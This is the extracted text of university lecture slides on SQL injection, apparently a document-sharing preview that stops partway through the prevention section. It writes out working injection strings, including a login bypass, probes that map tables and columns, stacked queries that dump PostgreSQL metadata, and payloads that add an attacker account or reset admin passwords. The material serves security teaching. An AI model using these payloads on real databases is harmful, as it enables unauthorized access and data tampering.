463.5.2: SQL Injection AttacksOverviewRequiredDisclaimer!!Targets for AttackCharacterization of AttackQuick SQL Review (1)Quick SQL Review (2)Quick SQL Review (3)Quick SQL Review (4)Quick SQL Review (5)Simple ExampleDetecting VulnerabilityInferring Database Layout (1)Inferring Database Layout (2)Discovering Table DataQuery Stacking (1)Query Stacking (2)Query Stacking (3)Query Stacking (4)Second-Order SQL InjectionHow to Prevent Attacks (1)How to Prevent Attacks (2)How to Prevent Attacks (3)Query Syntax AnalysisKey Points463.5.2: SQL Injection AttacksLars OlsonUIUC CS463Computer Security2Overview•Attack overview•SQL review•Attack examples–Simple attack–Discovering database structure–Modifying database•Preventing attacks3Required•Attack examples–SecuriTeam SQL Injection Walkthrough•More examples and prevention tips (e.g. prepared statements)–S. Friedl: “SQL Injection Attacks by Example”–Wikipedia entry: “SQL Injection”•Second-order SQL injection and syntax analysis–Z. Su and G. Wassermann: “The Essence of Command Injection Attacks in Web Applications”–Other references available through S. Ng: “Advanced Topics on SQL Injection Protection”4Disclaimer!!•Do not use your powers for evil.•The purpose of showing these attacks is to teach you how to prevent them.•Established e-commerce sites are already hardened to this type of attack.•You might cause irreparable harm to a small “mom-and-pop” business.•Even if you don’t, breaking into someone else’s database is illegal and unethical.5Targets for Attack•Database applications often need to serve multiple users•Programmers often give their applications elevated privilegesUser aApplication bAccess Control RulesDatabaseb6Characterization of Attack•Not a weakness of SQL–...at least in general–SQL Server may run with administrator privileges, and has commands for invoking shell commands•Not a weakness of database, PHP/scripting languages, or Apache•Building executable code using data from an untrusted user–Perl taint mode was created to solve a similar problem7Quick SQL Review (1)•Querying tables:select column1, column2 from table_name;orselect * from table_name;•Conditions:select columns from table_name where condition;8Quick SQL Review (2)•Inserting new rows:insert into table_name values (value1, value2);orinsert into table_name set column1=value1, column2=value2, ...;•Updating rows:update table_name set column1=value1 where condition;9Quick SQL Review (3)•Deleting rows:delete from table_name where condition;•Set values in conditions:select * from table_name where column in (select_statement);orselect * from table_name where column in (value1, value2, ...);10Quick SQL Review (4)•Joining tables:select * from table1, table2 where table1.attribute1 = table2.attribute2;•Built-in Functionsselect count(*) from test;11Quick SQL Review (5)•Pattern Matchingselect * from test where a like '%c_t%';•Other Keywordsselect * from test where a is null;•Metadata Tables–Highly vendor-specific–Available tables, table structures are usually stored in some reserved table name(s).12Simple Example•Logging in with:select count(*) from login where username = '$username' and password = '$password';•Setting the password to “' or 'a' = 'a”:select count(*) from login where username = 'alice' and password = '' or 'a' = 'a';•In fact, username doesn’t even have to match anyone in the database13Detecting Vulnerability•Try single apostrophe–If quotes aren’t filtered, this should yield an error message–Error message may be useful to attackers–May reveal database vendor (important later on)•Try a comment character (double-hyphen in some databases, # symbol in others)–Only works for numeric fields, if quotes are filtered–Not as commonly filtered14Inferring Database Layout (1)•Guess at column names' and email is null--' and email_addr is null--•Use error messages (or lack of)15Inferring Database Layout (2)•Guess at table name' and users.email_addr is null--' and login.email_addr is null--–Can be done with an automated dictionary attack–Might discover more than one table in the query•Guess at other table names' and 1=(select count(*) from test)--16Discovering Table Data•Depends on query structure, output format•May be directed at a particular user or account (e.g. root)' or username like '%admin%'--•May include brute-force password attacks17Query Stacking (1)•Use semicolon as command separator–Useful output is limited by application•My main example doesn’t output anything from the database.•Try the queries on the next two slides on a login page that’s programmed to display the query result.1; select * from test--–Doesn’t display the entire table? Try modifying the query:1; select b from test--1; select a from test where a not in (1)--18Query Stacking (2)•Displaying database structure–Highly vendor-specific1; select relname from pg_class--–Output displays only one result? Use repeated application1; select relname from pg_class where relname not in ('views')--19Query Stacking (3)•Displaying database structure (cont)–Table structure: vendor-specific, use repeated application if needed1; select attname from pg_class, pg_attribute where pg_class.relname = 'login' and pg_class.oid = pg_attribute.attrelid--20Query Stacking (4)•Modifying the database'; insert into login values(100, 'attacker', 'attackerpw', 2222, '[email protected]')--'; update login set password='newpw' where username like '%admin%'--21Second-Order SQL Injection•Inserting text fields that will pass initial validation, but could be used later on.–e.g. Adding a new user on a web form–Username: alice'' or username=''admin–Later, the user updates her password. The application runs:update users set password='$password' where username='$username'–The query expands to:update users set password='newpw' where username='alice' or username='admin'22How to Prevent Attacks (1)•Input Verification–Use pattern matching–May be tricky if we want to allow arbitrary text•Escape characters–addslashes() function or other input sanitizer–PHP “Magic Quotes”•Automatically corrects single-quote, double-quote, backslash, null•Enabled by default in PHP 5, removed in PHP 623How to Prevent Attacks (2)•MySQL doesn’t allow query stacking•Use stored procedures instead of queries•Limit database
View Full Document
Unlocking...